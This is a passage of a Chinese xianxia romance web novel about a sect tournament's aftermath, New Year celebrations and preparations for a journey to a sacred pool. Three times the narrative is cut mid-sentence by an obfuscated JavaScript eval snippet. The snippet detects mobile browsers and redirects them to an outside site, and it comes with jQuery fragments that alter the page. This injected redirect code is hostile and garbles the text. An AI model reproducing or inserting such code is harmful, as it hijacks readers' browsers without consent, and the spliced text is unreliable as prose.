败局已定,鹤怀真不能再作妖,也抱拳行礼。 “玉茵,刚刚我的话是认真的。” 玉茵再次给对方一个白眼,“乱说话小心一道雷下来劈死你。” 玉茵前脚下了比试台,后脚就朝闻絮扑过去,“我赢了,闻絮,我赢了!” “我就知道师姐你可以的。” 玉茵又和一旁的几人一起拥抱,最后也给一旁憋笑的景原一个拥抱。 “师父,我赢了!” “我看到了,你赢了!” 景原想要忍住笑容,但耐不住周围氛围渲染,也跟着一起大笑起来。 他看向玉茵的眼神是止不住地欣慰,第一他的弟子不是没得过,但这次是玉茵。 他从前门下最小的弟子,如今也可以独挡一面了。 他又看向一旁默默为玉茵鼓掌的闻絮,这次是让闻絮受委屈了。 昨日晚上,他叫了所有掌门一起,决定重新制定下一届宗门大比的规定。 像揽月瑶和闻絮这样的情况再出现,要仔细调查,不可贸然取消比试的资格。 不然以后所有的宗门是不是都可以效仿,所有打不过的对手,私下斗殴一次,就可以让对方出局了。 这是不公平的。 当然有人也不同意,景原再次发挥自己的特长,怼了一圈不同意的人,最后敲定了这个规则。 同时还规定在所有弟子的住所,都必须派弟子守着,不能让其他不相关人员随意进出。 同时在所有人都出入的场所,安放留影石,防止有人抵赖。 只是可惜,宗门大比十年一次,下次闻絮上场,还要再等好久了。 台下众人的欢呼声中,鹤怀真走到樟离身边,樟离没好气地看了他一眼,“叫你张狂,连个女子都赢不了。” 一旁两人很近的展皓听到了,“掌门这话就又说错了,不是赢不了一个女子,是实力不够,男女都打不过,还是得回家多练练。” “而且,女子怎么了,女子就弱吗?”嘉文也凑过来,搭在展皓的背上。 “要是我师妹弱,那掌门这位徒弟还是输了,看来是弱得不行了,我们天照宗丹药不错,到时候记得带点回去,我们大气,不缺这点丹药。最主要吧,输得起,不然今日,第二名就是明舟了。” 景原的徒弟随了景原的性子,美天耳濡目染,就是不会说话的人也能跟着呛几句。 樟离刚想要反驳,但景原这时出来装模作样阻止了一下,“你们几个,说什么呢,快坐回来。” 宗门大比所有的比试都已经结束,有人赌赢了,赚得盆满钵满,有人输了一裤兜子,耷拉着脸。 无极宗的掌门脸色阴郁,鹤怀真本人倒是很看得开,输了就输了,下次再来就是了。 所有的人都稍事休息,晚间天照宗准备了丰厚的宴席,来款待所有到来的客人。 玄天坐在席位的最前方,下方左右两排是各位宗门的掌门,他们的身后坐着的是他们的弟子。 玄天站起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416418|200783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总结了一下近日的比赛,说了几句场面话,随即开席。 闻絮和玉茵坐在一起,嘉文和嘉武坐在一起,展皓限挤得慌,自己一个人一桌,把小白藏在自己的桌子下面,时不时喂食一口。 完颜丰换了座位,和明舟坐在一起。 月灵宗的人已经提前离去,也没有准备他们的席位。 季明月坐在自己的席位上,盯着闻絮的坐席,沉思片刻。 鹤怀真的席位不见人影,他不知和谁调换了座位,就坐在了玉茵的右边。 玉茵还在安心品鉴着美食,但是一察觉到身边那道炙热的眼神,就有点倒胃口。 鹤怀真也不吃饭,也不说话,就用手肘撑在桌子上,拄着脑袋看着玉茵。 玉茵本想不管他,就自己吃自己的。 但鹤怀真盯着越发起劲,玉茵感觉自己像被围观的动物。 “喂,鹤怀真,你干什么一直看我?” “你坐在这里,难道还不让我看吗?” “再看把你眼珠子抠出来!” “呦,还要把我眼珠子抠出来,哈哈,那你来吧。” 玉茵往嘴里塞了两口葡萄,拉着闻絮出去透气了。 有鹤怀真这个变态在,她感觉自己的眼睛都被污染了。 “师姐,不理他就是了。今日晚宴结束,明日各宗门就要启程回去了。” 天气越发寒冷,再过些日子就是新年了,各宗门也要回去处理自己的内务了。 玉茵作为这次宗门大比的魁首,在年后要去灵女池的通天柱刻上自己的名字。 这既是对于个人的一份肯定,也是属于天照宗的荣耀。 能在通天柱上留下名字的人并不多,之前的宗门大比的魁首,还是景原的大弟子。 灵女池距离天照宗非常远,如果说世界放在一个地图之上,两个地方就是在地图的两端。 这也算数对于宗门大比魁首的考验。 灵女池之所以叫这个名字,是因为第一位守护它的仙子名叫灵女。 此后灵女的弟子一直接管着这项任务,世世代代守着通天柱。 传说每一任灵女百岁之时,可以在通天柱最顶端摘到一朵青罗葵,凭借青罗葵,可以到达仙界。 在去往灵池的路上,他们会陆续接到灵女派来的任务,分别收集红颜露,天息壤还有长青盏。 收集好这三样东西,将青罗葵的种子放入其中,几十年才会盛开一朵青罗葵。 这些都是闻絮在掌经殿内的书里看到的,她都一一告诉了玉茵。 玉茵听着有些发愁,“只有我一个人去吗?我有些害怕,闻絮你可以陪我去吗?” 要是以往,闻絮立马就答应了。 但是这一次,她没有立马做出回答,她和明舟的事情还没有解决。 “师姐,今晚我要回掌经殿一趟,明日我再给你答复。” “好。” 二人再回到席位上时,一旁的鹤怀真已经醉得不省人事了。 他脸颊通红,眼睛沉沉地闭着,嘴里还在嘟囔着什么。 “死酒鬼。”玉茵闻着他身上传来的重重的酒气,捂住了鼻子。 所幸,宴会很快就结束了,玉茵火速离开了难闻的现场。 闻絮留在殿中,等人差不多散尽以后,和明舟一起走了。 “你说,如果没有办法解决,我们两人注定一辈子都生死相连怎么办?” 明舟拉着闻絮的手,“那我要一直留在你的身边,你得一直保护我了。” 闻絮低声说道:“如果真的可以一直留在这里就好了。” 明舟没有听清闻絮的细语,想要凑近一些,闻絮换了一句别的话,“我说我一定尽力保护你。” 掌经殿内灯火通明,襄兰刚从宴席上回来,柏浩在一旁扶着她,今日襄兰喝的酒也有些多了,回来的路上受了些风,现下有些头痛。 襄兰甩开柏浩的手,“你别扶着我,我自己能走。” 柏浩名义上是襄兰的师父,但是两人年纪相仿,襄兰更把柏浩看作自己的朋友。 掌经殿往来人口不多,他们二人成日相伴。 襄兰很早以前就明白自己喜欢柏浩,但是她看过自己的命理,她没有红尘情缘,也没有子嗣福禄。 29. 你是小骗子 柏浩作为襄兰的师父,自然也明白襄兰的命理,所以在一开始对于襄兰的情意就视而不见。 更何况他们是师徒,他们二人之间有着不可逾越的鸿沟,不可能会有结果。 久而久之,襄兰的心思也就死了,她把自己的心思埋在心里,不让任何人知道。 柏浩有些无奈,放襄兰自己去倒水喝。 襄兰的嗅觉比较灵敏,“闻絮回来了吗?我怎么闻到她的味道了?” 柏浩抬头看了一眼,闻絮刚从正殿的门进来。 “是,闻絮回来了。” 襄兰一下子坐起来,理了理自己的衣服,眼神一瞬间恢复清明,没有喝醉的样子。 柏浩看着襄兰的模样,自己和襄兰认识好多年了,他现在在襄兰心里的位置,大概还不如闻絮呢。 “师父,师叔。” 闻絮之前想称呼柏浩为师祖,但柏浩说那样叫得太老,让闻絮叫自己为师叔。 “柏浩长老,襄兰长老,弟子明舟前来拜见。” 两人落座,闻絮说出了最近困扰自己的事情。 襄兰的酒这下是彻底醒了,“命理相连?” 柏浩和襄兰各自拿起两人的手,将两只手放在一起。 “简单的方法已经看不出来了,我需要取你们二人的血出来。” 柏浩去拿了玉盏,取了闻絮指尖一滴血,还有明舟指尖一滴血,两滴血在玉盏中互相吸引,最后融为一体。 “是阴阳双生血。” 柏浩见多识广,很快看出了两人其中的异常。 “你们二人可曾接受过对方或者其他人的血液?” 二人齐齐摇了摇头,对这件事没有印象。 在子时出生的人或者动物,处于第一天的结束,但又是第二天新生的开始,有些体质特殊的,血液会有异常,叫做阴阳双生血。 拥有阴阳双生血的人寿命比一般人长,一般人沾染此血液也不会有命运相连的效果。 但如果是一男一女,可能会有不一样的效果。 男子阳气重,女子阴气足,阴阳双生血若是落在一男一女身体上,就可能有这样的效果。 这是很早以前的法术了,一般没有人愿意主动承受,即使再相爱的两个人,也不会完全愿意将自己的命和对方绑在一起。 也有例外,一些自私的人身患绝症,会重金求来阴阳双生血,让自己的爱人陪自己一起。 这血用了,不能同生,只能共死。 “师父,有什么办法可以解除吗?” 襄兰和柏浩对视一眼,“你记不记得师父和你说过的灵女池,灵女池的池水最是纯净,可以帮人洗净污浊。若是可以用灵女池的池水洗净血液的污浊,应当是可以根除。” 灵女池,是玉茵年后也要去的地方。 襄兰握住闻絮的手,“师父明日去和掌门说,让你们和玉茵一起走。只是路途遥远,不免会受很多苦,要苦了你们了。” 闻絮回握住襄兰的手,“师父,我不怕吃苦,让师父担心了。” 玄天对外隐瞒了闻絮和明舟一起陪同去灵女池的真实目的,一律宣称是保护玉茵。 越少人知道这件事情,闻絮和明舟就越安全。 除了掌经殿的两位长老,就只有玄天和景原知道了。 玉茵不知道个中缘由,还以为闻絮特意去求的恩典。 “太好了,我们可以一起走了!” 想起明舟还在旁边,玉茵收敛了自己的动作,“明舟,你也要一起去吗?” “是,玉茵师姐,我和你们一起去。” 玉茵看向二人的眼神十分暧昧,打趣道:“怎么,不放心闻絮啊?” 明舟也学着玉茵的样子打趣,“对,我要保护闻絮。” 三人一起从玄天的书房出来,明舟拿了一把伞递给玉茵,另一把自己和闻絮一起撑着。 玉茵看着二人黏糊糊的模样,不想在一旁做电灯泡,“受不了你们两个了,我要先走了。” 玉茵快走两步,踏着雪走在两人前面。 忽然玉茵膝盖一弯,假装摔倒在雪地里。 闻絮刚要上前搀扶,玉茵手里拿了一个巨大的雪团,猛然向两人扔去。 明舟站在前面,发丝上顶着满满一团雪。 他的眼神有些无辜,看向闻絮。 闻絮摸了摸他的脸,也拿起一坨雪扔在他身上,笑着去拉玉茵的胳膊。 明舟被两坨雪砸得晕晕的,反应过来追着两人的背影跑过去,“师姐,你们两个欺负我!” 明舟的话没得到回复,只得到两人明朗的笑声。 闻絮的腿上被明舟的一坨雪砸中,她干脆不跑了,在原地和明舟像狗刨一样,挖起一捧就向对方脸上扔。 跑远的玉茵又翻回来,和闻絮一起拿雪扔明舟。 明舟一人难敌四手,正在他要缴械投降的时候,一阵猫叫声传来。 小白穿着喜庆的红色在雪地里狂奔而来,小白吃得肥嘟嘟的,但跑步的速度却一点都不慢。 它腾空跳起,最后消失在雪堆里。 闻絮和明舟急忙上前去挖小白,小白埋得很深,被捞上来的时候猛得左右甩头,甩了二人一身。 展皓追着小白出来,看到闻絮和明舟二人正面对着。 他向玉茵使了一个颜色,两人手里捧满碎雪,向天空抛起,碎雪像花瓣一样落下来。 闻絮和明舟抬头一起看,小白在二人的掌心中冒出来,只为他们而来的雪降落了。 展皓撒完雪之后,从他们手里抱着小白就和玉茵一起跑走了。 闻絮跪坐在雪地里,衣服被雪浸湿,她伸出一条腿卷起裤边。 明舟帮她卷起另一边裤腿,“闻絮,累不累,我来背你吧。” “好啊,你要背着我走到门口,少一步我就不许你进门。” “那我要是背着你走到门口了,会有什么奖励吗?” 闻絮已经趴在了明舟的背上,“你先走,我慢慢想一想。” 明舟背着闻絮稳稳地走在雪地里,尽管他自己的裤腿也全湿了。 “你想好了吗?” 闻絮搂着明舟的脖子,“天气太冷,我刚刚想好就忘了。” “小骗子,你不是说你不冷吗?” 闻絮把手伸进明舟脖子里,“就是骗你了,一点都不冷。” 闻絮的手温度不高,但是在冰天雪地里,她的手反而显得热乎乎的。 “你猜一会儿师姐会做什么好吃的?” “你喜欢吃什么?”明舟向上搂了一下闻絮。 闻絮思考了一瞬,“我喜欢吃羊汤。” “那我猜师姐会做羊汤。” “为什么?” “因为师姐也喜欢你,所以做你爱吃的。” 闻絮听到话里的细节,“怎么说也字,还有谁喜欢我?” 明舟腾出一只手来数着,“那有很多呢,襄兰长老,柏浩长老,三掌门,掌门,小白,展皓师兄,嘉文师兄……” “那你呢?” “我也喜欢。” “谢谢你,谢谢你们。” 谢谢你们都在我身边,谢谢你们喜欢我,谢谢你们让我不再孤单。 明舟背着闻絮走到门口,玉茵和展皓早就到了,抱着小白蹲在门口等着两人。 展皓一看到是明舟背着闻絮回来,急忙捂住了小白的眼睛,“乖孩子,我们不看这些。” 玉茵嘲笑展皓,“师兄你干什么呢?你当小白是个小孩子吗?” 展皓端起小白看了看,小小一只,“怎么了?这么小一只,不就是个小孩子吗?” 玉茵认真科普着,“一般的灵兽长到这么大,年龄就相当于和你差不多了。” 展皓还是举着小白,“不可能吧,它和我一样大吗?” 玉茵捂脸,都说文盲最可怕。 “师兄,你听过一个放牛娃的故事吗?” 话题转变得太快,展皓有点懵,“什么故事?” “从前有个小孩,身体不好,还不爱读书,他家里人就教育他,一定要多读书多锻炼。结果他只听到了后半句,所以长成了一个四肢发达的傻子。长大后去放牛,连牛有几只都不会数。” “然后呢?” 玉茵摊手,“没有然后了,讲完了。” 展皓摸不着头脑,“好无聊的故事。” 玉茵又翻了个白眼,从展皓手里接过小白,“师兄,小白还是我来抱着吧,让你一直养着,我怕灵猫都变成傻猫了。” “玉茵,你说什么呢!灵猫才不会变傻猫呢!” …… 这是闻絮最开心的时光,临近新年,景原免了几人的训练,襄兰也给闻絮放了假。 几人一有时间就聚在一起,完颜丰虽然没有假期,但是经常趁二掌门不注意的时候到几人的房间里来玩。 色子还有叶子牌,他把自己想玩的全都教给几人,还因为几人不熟悉规则小赚了一笔钱。 这天,天照宗的所有弟子停训,各个峰的峰主派弟子挂起了灯笼。 展皓带着嘉文嘉武一起挂灯笼,闻絮和玉茵在屋内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416419|200783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剪窗花。 用来剪窗花的红纸是玉茵要来的,她从前没剪过窗花,这次她下定决心要剪一个完整的出来。 闻絮拿起红纸,很快就剪了一个完整的出来。 “哇!闻絮,你好厉害啊!” 玉茵拿起刚刚剪好的窗花,对着窗外的白雪映着,“真好看。” 闻絮手里的动作没停,又剪了一张玉茵的人像,“师姐,你看,像你吗?” 玉茵吃惊的嘴还没闭上,又被闻絮剪好的小像惊呆了。 “师妹,这是谁教你的啊?我也想学。” “祖母教的,祖母剪得最好。” “马上要过年了,要不要把祖母也接过来啊?” 闻絮露出一个苦涩的笑容,“祖母去世很长时间了。” 玉茵捂着嘴,“对不起,师妹,我忘了。” “没事的,师姐,没什么需要道歉的。” 闻絮凭借自己的记忆,剪了一张奶奶的小像,放在自己的荷包里。 奶奶,马上要新年了,新年快乐。 这次代替你陪着我的,是我在这个世界的亲人朋友。 新年的前一天,大家围坐在一起包饺子。 屋子里放着两张桌子,桌上放着不同的馅料,玉茵特地叫了明舟过来一起。 玉茵搬来一张小桌子,让闻絮和明舟在一旁单独包。 自己在大桌子上指挥着几个师兄,一顿包起来。 几个师兄太能吃,她自己一个人要包到天荒地老,必须把他们都指挥起来。 玉茵一边自己要做,一边监督着几人。 “师兄,你干什么呢?面皮要擀成圆形的,你这弄烂了,怎么包呢?” “还有你,完颜师兄,少放点馅料在里面,这不是包包子,放那么多一会儿全都撒了。” “知道了,知道了。” 两个男人手忙脚乱地改着手里不合格的饺子,脸上或多或少都沾了点面粉。 闻絮和明舟两人像是和外界开了一层无形的屏障,外界纷纷扰扰,他们只专心做自己的事情。 “我小的时候,过生辰的时候,总会吃一碗饺子。” 明舟聊起小时候的趣事,想起自己还从来没有问过闻絮的生辰。 “闻絮,你的生辰是哪一天?” 闻絮没有停下手上的动作,“我也不知道自己是哪一天生的。” 这句话确实是真的,妈妈刚生下她就去世了,爸爸从来没有给她庆祝过生日,所以她也不知道。 明舟的眼神有些心疼,闻絮捏住手里开口的饺子,“没有生辰,我自己选一天怎么样,要不就明天怎么样?明天是新年,肯定很热闹。” “好,那我要好好包一碗饺子,当做你的生辰礼。” 明舟包饺子的动作很生疏,在闻絮的带领下逐渐熟悉。 几人笑闹着包完饺子,先放到厨房晾着,洗完手出去堆雪人。 明舟洗完手之后就不见人影,闻絮问了身边的人也不知道他去了哪里。 大概是又被玄天叫回去了吧。 嘉文和嘉武卖力地铲着雪,努力地滚出一个大雪球用来当雪人的下半身。 展皓和玉茵滚了一个稍微小一点的球,当做雪人的脑袋。 闻絮在一边看着小白,手里捧出一个三角形的雪块,用来当做雪人的帽子。 雪人大概的形状基本上有了,但五官还没成型。 嘉文嘉武一人解下自己衣袖上的一枚扣子,安在雪人脸上,它的两只眼睛黑黝黝地盯着众人。 展皓跑回去,从厨房拿了一根萝卜,安在两个扣子眼睛的正下方,“好了这下鼻子也有了。” 闻絮解下自己的棕色毛领的围脖,系在雪人脖子上。 玉茵手上沾了点炭黑,画了一个笑脸出来。 明舟姗姗来迟,在几人回屋前赶到。 “还有我呢,我也在!” 明舟摘下自己头顶的帽子,安在雪人头上,“尺寸正好,让它替我戴一会儿。” 年夜饭大家吃得很热闹,桌子上摆得满满的,等到玉茵端来最后下锅的饺子,所有人都齐了。 圆桌上大家一起举杯,“除夕安康!” 虽然玉茵教了半天,但几人包出来的饺子依旧奇形怪状。 “玉茵,你夹错了,那个最大的是我包的。” 玉茵看着碗里已经咬了一口的饺子,“啊?这有什么不一样吗?” “我的巨无霸饺子,长得多帅啊!” 完颜丰捂脸,这群俗人真是不懂欣赏自己的艺术。 30. 两个强盗 明舟看准自己包的几个饺子,他在边上涂了几滴胡萝卜汁做记号。 他捞自己包的饺子放在一个碗里,递给闻絮。 闻絮接过,看着冒着热气的饺子,顿时感觉有些饿了。 一连吃了两个,在吃第三个的时候,她感觉咬到了一个硬物。 从嘴里吐出一看,是一个小小的金元宝。 “都说新年要吃饺子攒福气,这个金元宝就当做是福气了。” 明舟说到这里还有点不好意思,把声音放低了一些,“很干净的哦,我悄悄洗了好几次呢。” “好,我一定把这份福气好好保存起来。” 饭后外面的烟花声逐渐传来,困意逐渐蔓延,收拾完餐桌,屋内此起彼伏地响起了哈欠声。 “不行,我们要守岁,现在才什么时辰,不能睡!” 嘉文喝得脸醉醺醺的,眼神都有些迷离,还不忘带着大家一起玩游戏。 还是玩色子,没有特殊的玩法,就是最简单的比大小。 两两抽签对决,输的人罚喝一杯酒。 “两个六,哈哈哈,喝吧!” “不行,我再来一次!” 刚开始所有人还都按规矩在做游戏,输了的人喝一杯。 但不知道完颜丰从哪里带来的桃花酒,光是闻着别人喝就已经感觉香气四溢了。 也不管什么规则了,随意摇了两下色子,一人倒了一杯,都举杯喝起来,直到一壶酒都被他们喝光。 天照宗还有一项习俗,在新年的第一天要在屋子里点亮新的灯笼,意为开启崭新的一年。 就在一进门的最上方,挂着一个圆圆的小灯笼,玉茵在饭前拿来放在房梁上的。 “师妹,等我倒计时,快到时间了再去点。” 展皓搬了一把梯子,闻絮顺着梯子踩上去,她回头看着众人,大家正低头默数记着时间。 “五,四,三,二,一,点!” 闻絮卡着最后一秒点亮了灯笼,烛火亮起的一瞬间,屋顶洒出了满天的金箔和丝带。 “新年快乐,也祝我们的师妹闻絮生辰快乐!” 闻絮站在高处,手里还握着烛台,她没有刻意伸手去接,一张金箔缓缓就飘入了她的掌心。 “生辰快乐,师妹,祝你岁岁安康!” “师妹生辰快乐,祝你的剑术更有进益。” “师妹生辰快乐,愿你以后的日子万事顺遂!” 展皓抱着小白,握着小白的两只爪子,“来,小白,和我一起说,让我们祝闻絮生辰快乐,年年有今日,岁岁有今朝!” “走走走,我们去看烟花!” 屋外四面响起了烟花的声音,五彩的烟花在天空绽放,开出一朵朵颜色各异的花朵。 闻絮从梯子上走下来,看向明舟,“你什么时候告诉大家的?” “你刚说完我就悄悄告诉玉茵师姐了,别人我都没说。” “告诉师姐不就等于告诉大家了吗?” “那你高兴吗?”明舟反而有些害羞,捏了捏自己的耳朵。 “高兴,你们在我身边,我很高兴。” 闻絮明明是笑着的,但不知道为什么眼泪顺着脸颊的弧度就流下来。 明舟慌了神,抬手想要拭去闻絮的泪,“怎么了,怎么突然哭了?” 闻絮带着泪眼,依旧笑着,“我开心。” 原来开心的时候,人也会忍不住要流眼泪。 明舟没有再去擦闻絮的眼泪,他微微低头,面庞凑近闻絮。 他温热的唇贴在闻絮的脸颊上,泪滴消失。 这个吻很轻,明舟轻轻一贴就离开了。 “希望你下次流泪,也可以是幸福的眼泪。” * 新年伊始,景原就紧锣密鼓地忙活起来,玉茵和闻絮这两个幺儿要走,自己做师父的不免担心。 灵舟是必须选个好的,其余的东西也少不了。 景原从二掌门那里扛了一个炼丹炉的丹药回来,直接逼得脾气好的二掌门破口大骂:“你,你这个强盗!” “哎呀,你练那么多丹药不就是拿来吃的吗?我这两个弟子马上就要出去了,正是用得上的时候,你这丹药就不用一直藏着放灰了,你就偷着乐吧!” “你给钱了吗我就乐?” 景原脚步没停,指挥着弟子扛着炼丹炉继续走,还一边嘱咐着,“慢点走啊,别怕,他抢不回去,别撒了。” 他回头看了二掌门一眼,“哎呀,你我认识这么多年了,谈什么钱,多伤感情啊!不说了,不说了,我忙着呢,你快回去再多练点,临走我还能再拿一点。” “我呸!”二掌门的口水在阳光下格外明显。 刚送走了景原,玄天也派弟子过来了,“师弟啊,你知道吧,我这小徒儿也要出远门了,我这做师父的,也得多做打算,你就忍痛割爱一下吧。” 玄天走到最大的一个炼丹炉前,用力拍了拍,“这个不错,要不你把这个给……” “停停停,你们一个两个都是强盗来的吗?” “嗯?还有谁来了?” “还能有谁,景原啊,刚刚我那一炉子的药都让他拿走了。” 玄天来劲了,扶着他的肩膀,“哎呀,那我就要这个了,你把这个给我装满,我的得比景原多啊!” 二掌门无语了,一屁股坐在地上,一副摆烂的样子。 “我不管了,你拿吧,你走了我一脖子吊死就行了。” 他闭上眼睛,大有在地上大睡一觉的样子。 玄天想了想,“那我退一步,拿个小的。” 二掌门一下跳起,“好,说定了,就角落那个小的。” “但是,我想要再问你借个弟子。” 二掌门刚站起身,嘎巴一下又躺下了。 “要人没有,要命一条。” 玄天蹲下,“师弟,睁眼我们再谈谈呗!” “谈什么?” 玄天试探着问:“你这个做师父的,也得问问弟子的意见,万一你的弟子想去呢?” “不用问了,他们走了谁给我炼丹?” 玄天毛遂自荐,“我来给你炼丹啊,我门下弟子众多,你挑两个顺眼的过来帮忙就是了。” “好了,就这么定了,晚点让你的弟子来找我啊!” 不等二掌门回答,玄天飞也似的带着角落的小炉子走了。 景原和玄天一番大肆扫荡,把他们的战利品通通搬到了闻絮的房间。 “闻絮啊,我们的东西就放在你这里了,你办事我放心。到时候明舟想要什么,问你取就好了。” “对对对,玉茵这个小糊涂蛋,丢三落四的,东西就在闻絮这里保管着。” 景原又掏出一个戒指,“这个储物戒也拿着,里面空间足够大,像带什么走就带什么走。” 闻絮双手接过储物戒,“多谢师父和掌门,只是,真的用得了这么多丹药吗?” 景原看着两个炼丹炉满意地点头,“没事,没事,用不了就存着,反正也不花钱。” 他们走后,闻絮拿了好多小袋子来,把不同功能的药丸分开。 白色的是止血丹,棕色的是活络丹,黑色的是解毒丹…… 除了丹药还有很多东西,玉茵昨天拉着她下山买了一堆衣服。 路途遥远,不需要一直穿门服,好不容易可以穿自己的衣服,玉茵恨不得把店铺里的衣服都买下来。 “这个料子好软啊,这个我要了!” “这件也好,紫色衬得你白,闻絮这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416420|200783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你必须得买!” 玉茵逛了一大圈,还是闻絮劝住了,“师姐,买几件就够了,我们在路上也能买,万一路上碰到的更好呢?” 玉茵一拍手,“对啊,我把这个忘了,你说得对,那我先少买点,攒下来的钱路上接着再买。” 闻絮把两人的衣服刚在包袱里,又放进了储物戒。 收拾东西看起来简单,但做起来也挺耗费时间的。 闻絮热得满头是汗,玉茵还在厨房收拾自己的食谱。 闻絮也懒到出去了,就在房间里面喊:“师姐,少拿一点,我们吃不了那么多的。” 远处传来玉茵的声,“哦,放心,我心里有数的。” 光是收拾东西,就收拾了一天。 二掌门这边,完颜丰苦苦求了半天,才得到了可以一起去的准许。 “师父,派我去你就放心吧,我办事……” “我还不知道你的性子,就是想出去玩。罢了罢了,山上呆久了确实无聊,你就跟着去吧。切记别给我惹事!” 完颜丰停止身子,双手并拢,贴在裤边,“是,师父。那我走了?” “去去去,快走吧!” 完颜丰脚底生烟,走出了八步赶蝉的步子,走了很远还能听到他雀跃的歌声。 这次出发灵舟是需要他们自己驾驶的,明舟和完颜丰被叫过去学习。 “灵舟也很简单的,你就按照地图的指引,设置好舵的方向,记得别撞了天上的鸟,撞死了也要赔钱的。” 人数比较少,玄天分了一个小巧的灵舟给他们,“虽然小了点,但是比较容易操作,明舟,你学会了以后教教闻絮和玉茵,你们几个人都学会,要是碰到什么危险,跑得也快。” 明舟上去试验了一下,玄天在他的旁边帮忙看着。 灵舟驾驶起来不是很难,明舟用灵力驱使着在空中转了一圈,又平安落地了。 “行了,我看你学得不错,自己再多练练。” “是,师父放心,我一定好好练习。” 玄天走后,明舟让完颜丰也上来,完颜丰坐在里面的床上,明舟开得平稳,他没有感觉很眩晕。 “师弟,要不说你叫明舟呢,这灵舟简直就是为你量身定做的,我还没听懂呢,你这开起来就这么顺手了。我看,就你一直开就行。” 明舟又在空中飞了一圈,“不行,师兄,你也要学会。你出来,我教你。” 完颜丰拖着脚步出去,“哎呀,这个很简单啦,我随便看看就会了。” “明舟你去里面坐好,看师兄给你露一手。” 完颜丰一脸正经的样子,姿势也比较正规,但明舟有些不放心,“师兄,要不我还是在外面看看吧。” “师弟,不用担心我,我可以的。” 我是担心我自己,要是坠毁了,坐在里面不好跑。 明舟内心是这么想的,但是没好意思说出来。 明舟就站在门边,手扶着门框,眼睛在外面观察着。 “坐好了啊,我要启动了。” 灵舟经过两秒的颠簸,顺利从地面升起,完颜丰学着明舟刚刚的样子,在空中飞了一圈。 明舟放心了,刚准备坐下喝口水,手里的杯子就因为颠簸摔出去了。 灵舟的方向不受完颜丰控制了,灵舟正冲着那颗百年老松撞过去。 完颜丰手里死死抱着舵,想要控制灵舟的速度,嘴里一边喊,“明舟,快来,我刹不住车了,把这树撞毁了,我师父会杀了我的!” 明舟听到声音急忙出去,和完颜丰一起拉紧了刹车的舵杆,终于在灵舟碰到叶子之前停住了。 灵舟慢慢降落的时候,两人都松了一口气。 要是灵舟交给他们的第一天毁了,他们也就完了。 31. 初遇图雅 完颜丰大喘着气,“累死我了,不行,明舟,下次你得站我身边。” 明舟:“师兄,其实我一直开应该也可以,我不累的。” “不行,今天我不走了,就住你这里了,你要负责教会我。” 明舟:……微笑 “好的,师兄。” 一个下午,明舟和完颜丰一直在鼓捣灵舟,时不时还能听到明舟的声音。 “哎,师兄,你转反了,要向左啊。” “啊,这不是右吗?” 明舟深吸了一口气,把完颜丰手里拿反的地图翻过来,“师兄,这图拿倒了,要反过来看。” “哎呦,这事儿弄的,没事没事,这次我会看了。” 明舟彻底累了,“师兄,我们休息一会儿吧。” “也行,喝口水,一会儿接着练。” 功夫不负有心人,明舟累得口干舌燥,终于在晚上学会了。 完颜丰要是再学不会,他真要逃走了,晚上黑灯瞎火的,他们就是掉河里了,估计都没人能发现。 完颜丰拽着明舟屁股后的衣服,“师弟,快,我要睡觉了,太累了。” … 元宵节过后,几人正式出发。 听惯了二掌门的唠叨,完颜丰一早就坐进灵舟里。 玄天和襄兰各自交代了几句,景原今天却没有来,他昨晚在青竹峰的时候就交代了好久,今天就不来了。 他说他一把年纪了,见不得这种离别的场景,就不来送她们了。 襄兰递给闻絮一块手帕,里面包着那块曾经的护心镜。 “师父,这是?” “这还是之前我送你的那块护心镜,虽然有了裂痕,但我拿金丝补好了,外出总免不了危险,还是贴身带着。” 玄天嘱咐几人,出门在外,一定要注意安全。 玉茵狠狠点头,“掌门,我记住了。” “其余的话就不说了,走吧。” 等到玉茵和闻絮上去,明舟站在外面,启动了灵舟。 小白被闻絮交给展皓带着,今天一人一猫都起迟了,等到展皓狂奔而来的时候,只看到灵舟的屁股。 “师妹,一路小心啊!” 明舟拿着地图,先按照图上的方向行驶着。 闻絮拿着天象罗盘,确保没有乌云和雷暴,固定好方向,叫明舟一起进去。 灵舟一旦飞出天照宗的地界,就必须要飞得很高,不然飞低了会碰到一些飞禽,还会惊扰到生活的居民。 高空的温度很低,一直站在灵舟的船舱外,即使有灵力护体,很快也就冻僵了。 完颜丰抱着一盘点心,津津有味地品尝着。 “你们回来了,外面很冷吧,快一起吃点。” 明舟拿了一块,闻絮摇头,“师兄,你吃吧,刚吃了早饭,我不是很饿。” 昨夜玉茵已经接受到了灵女池的传信,前往云牧川,收集红颜露。 红颜露,顾名思义,是指少女的泪水。 